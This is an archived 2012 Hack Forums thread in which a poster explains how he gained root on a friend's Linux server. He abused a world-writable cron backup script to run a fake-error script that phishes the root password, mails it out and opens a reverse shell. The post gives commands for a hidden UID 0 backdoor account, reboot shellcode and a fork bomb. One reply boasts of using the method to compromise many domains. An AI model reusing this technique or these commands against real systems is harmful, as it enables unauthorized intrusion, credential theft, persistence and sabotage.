+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial]How i Rooted a 2011 Kernel box [/Tutorial] (/showthread.php?tid=2328754)
[Tutorial]How i Rooted a 2011 Kernel box [/Tutorial] - joomlafkr - Mar 22, 2012
Hello guys ,
I wrote this tutorial to show you how i rooted a friend's server with a fully patched 2011 kernel [ he challenged me first x)] !
This technique isn't kernel related so every linux box could be vulnerable !
the aim of this tutorial is to teach you a custom technique i managed to exploit !
Overview :
basically this technique is based on :
0% local kernel exploit ( the 2011 one is private )
0% buffer overflow exploit ( couldn't enumerate any vulnerable binary , i had to make one but you know it takes time to debug and find those stuff )
50% Enumeration : i need to explain this =>
i uploaded a shell on the server , While enumerating daemons , /root , /etc permissions
i found that /etc/cron.daily and /etc/cron.hourly (Redhat/Centos even Debian cron tables) were Read-only chmoded so i could see what was on them !
i saw that cron.daily was running a custom script :
Code
* * * * * /etc/backup.sh /home/xxxso the daily cron was doing a backup every day...
Guess what ? the /etc/backup.sh was chmoded as 777 so i could change it's content as a normal linux user !! and that's where everything started !
20% Social engineering : you need to find some info about the admin , how much he knows his stuff...to fool him
30% Intelligence and patience !
Let's get started :
So if you something like i stated above then it's just a matter of time to root that box !
Step 1
You need to read very well the script to know what i does exactly !
in my case the script was copying files from /home/xxx to /mnt/drive2 so basically a backup stuff
Code
Cron tables tutorial : http://www.pantz.org/software/cron/croninfo.htmlStep 2
I wrote a nifty bash script that will fool the root :
-simulating a critical error and asking for Linux root passwd
-simulating a kernel patch download...
-the script will send you a mail with the credentials
-it will spawn a reverse shell ;)
[img]http://img198.imageshack.us/img198/1879/trollub.jpg[/img]
Post here and i will pm it to you
Step 3
So i saved my script to /tmp/trollroot.sh and called it from /etc/backup.sh
i added :
Code
"sh /tmp/trollroot.sh"Step 4
21 hours later
I fired up my netcat to listen to a specific port
My script sent me a mail with root credentials :)
also netcat was listening to the server and opened me a shell
Step 5
i typed :
Code
"su root"and i was the root :D
you know the drill :
Code
"adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M troll"Step 6
For the lulz i changed the wallpaper with a deface image xD
a Remark
You can also check /etc/init.d instead of cron tables but you need to reboot the box in order to spawn your script
you need to try every method to reboot it , here is two methods !
shellcode :
Code
/*
###
# Title : linux/x86 Command Exec (reboot) Shellcode - 37 Bytes
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : linux/x86
# Type : Shellcode
# Tested on : Linux.(Ubuntu 10.10) En
###
# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends
###
*/
char shellcode[] =
"x6Ax0B" // | PUSH 0B
"x58" // | POP EAX
"x99" // | CDQ
"x52" // | PUSH EDX
"x66x68x2Dx63" // | PUSH 632D
"x89xE7" // | MOV EDI,ESP
"x68x2Fx73x68x00" // | PUSH 68732F
"x68x2Fx62x92x6E" // | PUSH 6E92622F
"x89xE3" // | MOV EBX,ESP
"x52" // | PUSH EDX
"x72x65" // | JB SHORT
"x62x6Fx6F" // | BOUND EBP,QWORD PTR DS:[EDI+6F]
"x74x00" // | JE SHORT
"x57" // | PUSH EDI
"x53" // | PUSH EBX
"x89xE1" // | MOV ECX,ESP
"xCDx80"; // | INT 80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}fork bomb :
Code
$ :(){ :|:& };:So next time you wanna root a box , check for the same vulnerable spots !
cheers.
* - npro - Mar 22, 2012
nice one
that's how a hacker must think
* - Greyersting - Mar 22, 2012
Where did you learn to write shellcode?
Did it take long to learn?
* - joomlafkr - Mar 22, 2012
Do you mean the bash shell script?
or the reboot shellcode which i didn't code myself !
* - Greyersting - Mar 22, 2012
(Mar 22, 2012 08:27 PM)joomlafkr Wrote: Do you mean the bash shell script?
or the reboot shellcode which i didn't code myself !
Oh I thought you wrote the reboot shellcode, sorry.
Anyway, is bash that useful? I'm not that knowledgeable about it, is it exe or how is it run?
* - spectrum10 - Mar 22, 2012
Very Nice tut bro^^ actually a member on Th3_Phr3akz just used this method and we got root access today so now me and him are going through and shelling shit loads of domains! We have a backdoor with ssh access! This method is really effective!
* - joomlafkr - Mar 22, 2012
Bash is the default shell for linux and MAC , for windows you know , there is dos !
here is a wikipedia article about it :
http://en.wikipedia.org/wiki/Bash_(Unix_shell)
Writing shell script isn't hard , i can recommend you some books !
about shellcode it's mainly Assembly , it's about executing microprocessor commands and bypassing OS restrictions...
assembly isn't hard aswell,if you master it , one day you will come up with a linux kernel 0-day !
* - spectrum10 - Mar 22, 2012
(Mar 22, 2012 08:42 PM)gryffindors789 Wrote: i will help you for 15paypal if you want aim me aarp7892hotmail.com
xbl gt jtagking2
are u referring to helping me?? lulz jw
* - A32 - Mar 22, 2012
Good thread, good thinking and awesome shellcode.
This is what HF needs, more hackers with actual skills and knowledge of operating systems, applications and programming languages and less skiddies with their automated tools and precompiled kernel exploits.
I would +1 you if I could.
* - Hooded Robin - Mar 22, 2012
this is a really nice write up, thanks for showing others that you can think outside the box and be amazed by what you find when you do :p
PS - shoot me a copy of the full message spoofeer script when you ahve a minute
* - abhilyall - Mar 22, 2012
Very nice tutorial. Can u PM me the bash script?
* - rand0 - Mar 22, 2012
(Mar 22, 2012 09:16 PM)A32 Wrote: Good thread, good thinking and awesome shellcode.
This is what HF needs, more hackers with actual skills and knowledge of operating systems, applications and programming languages and less skiddies with their automated tools and precompiled kernel exploits.
I would +1 you if I could.
Agreed. You speakk the truth my friend.
* - Px5 - Mar 23, 2012
Nice one man. Very good way ;)
Let's test it ^^
* - Koekert - Mar 23, 2012
(Mar 22, 2012 11:16 PM)3k1yp2 Wrote: Agreed. You speakk the truth my friend.
Agree... Sadly, I'm a skiddo myself (For now), yet trying to learn everything I need to know to get out of that state.
* - HaLFMD5 - Mar 23, 2012
post uname and shit :) more info there is alredy 2011 public kernel exploits :D